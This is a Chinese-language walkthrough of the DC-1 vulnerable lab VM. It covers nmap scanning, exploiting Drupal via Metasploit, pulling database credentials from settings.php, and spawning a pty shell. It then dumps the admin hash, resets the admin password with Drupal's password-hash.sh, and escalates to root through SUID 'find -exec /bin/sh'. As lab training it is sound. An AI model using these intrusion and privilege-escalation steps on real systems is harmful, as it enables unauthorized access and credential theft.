DC-1复现

描述

DC-1 是一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

它旨在为初学者带来挑战,但它的简单程度取决于您的技能和知识以及您的学习能力。

要成功完成这一挑战,您将需要 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

有多种获得 root 的方法,但是,我已经包含了一些包含初学者线索的标志。

总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 即可执行此操作,但是,您将需要 root 权限。

根据您的技能水平,您可能可以跳过查找大多数这些标志并直接获取根。

初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该是获取完成这一挑战所需信息的全部内容。

开始

1.利用nmap收集有用信息

  • 确定DC-1的ip为192.168.207.136

  • 使用命令

nmap -sT 192.168.207.136

  • 扫描靶机开了哪些端口

1

  • 发现该靶机开放了ssh服务和http服务

image-20220523202935501

  • 访问网址后看到有登录框尝试弱口令并没有成功,其中该网站的CMS是Drupal

img

2.使用msf查找Drupal可利用的漏洞

QQ图片20220523203527

  • 有7个,从上往下试,试到第二个的时候就成了

  • 进入shell里发现了flag1.txt,提示去找配置文件

img

flag1:

Every goog CMS needs a config file - and so do you.

  • 通过百度知道drupal的配置文件是在*/var/www/sites/default*下,那我们直接进到目录下 cat settings.php

  • 在浏览配置文件得过程中发现了flag2,是关于数据库的登录信息

flag2:

/**
 *

 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
   *
    */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

3.登录MySQL和python及php脚本二点使用

  • 用户名是:dbuser;密码是R0ck3t

QQ图片20220523203734

  • 直接使用MySQL命令时失效了;进到shell里使用命令也没有反应

ea3277f1-fe50-40cb-9614-21ee8e6b0261

  • 在使用python -V的命令时,发现靶机安装了python 2.7.3版本,那么使用python一句话命令获取标准shell
python -c "import pty;pty.spawn('/bin/bash')"
1.mysql -udbuser -pR0ck3t  #连接数据库
2.show databases;       #显示数据库列表

QQ图片20220523203937

1.use drupaldb;			#使用drupal数据库
2.show tables;			#显示库中的数据表
+-----------------------------+
| Tables_in_drupaldb          |
+-----------------------------+
| actions                     |
| authmap                     |
| batch                       |
| block                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips                 |
| cache                       |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| ctools_css_cache            |
| ctools_object_cache         |
| date_format_locale          |
| date_format_type            |
| date_formats                |
| field_config                |
| field_config_instance       |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_usage                  |
| filter                      |
| filter_format               |
| flood                       |
| history                     |
| image_effects               |
| image_styles                |
| menu_custom                 |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| node_type                   |
| queue                       |
| rdf_mapping                 |
| registry                    |
| registry_file               |
| role                        |
| role_permission             |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| shortcut_set                |
| shortcut_set_users          |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| taxonomy_vocabulary         |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
+-----------------------------+
80 rows in set (0.00 sec)
1.select * from users;		#获取users的内容
2.name:admin |pass: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY
  • 经过网上搜索知道了在drupal7的安装目录中的scripts下,有一些开发者写好的PHP脚本,可以执行一些操作;

29b907c4-753f-4b59-83b0-83abd0515151

  • 我们这次利用的脚本的名称是:password-hash.sh;
php scripts/password-hash.sh '123456'>new_paswd.txt		#把admin的密码改成123456并储存在new_passwd.txt中

f0306074-0e74-4e83-9d36-2b96e9cbec68

  • 那我们就可以直接拿着账号密码登录最开始访问的那个网站,在dashboardcontent中都可以找到flag3

b9a9963f-b64d-4de1-8bfc-89e1bf6a3163

86b6342b-920c-4f84-b161-6eb4cc02445e

flag3:

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

c838d46f-3446-4dd6-96cd-80298e282a22

  • flag3中有几个关键词:perms、find、-exec、shadow

4.误打误撞发现了flag4

15bc44cf-40b8-48e8-bcf4-744501d9026b

flag4:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

5.提权

  • 根据提示进到根目录下,但是提示没有权限

6d9b80a3-a0bc-441f-84ea-ce8497f7fb1e

  • 此时,我们想到flag3中提到的几个关键词,我们可以利用一些方法进行提权

  • 以下命令可以查看当前系统上运行的所有SUID可执行文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
  • 看到有find命令

0a647e18-e436-4936-9972-7e6ea1c250e6

  • 利用命令提权
find root -exec '/bin/sh' \;

88c75a97-b9e6-4b1a-a408-a014dae31e69

  • 进到根目录下找到最后的flag

b937d42a-7535-4c8b-8c4e-8d2948b33f56

flag5:

Well done!!!!

Hopefully you’ve enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7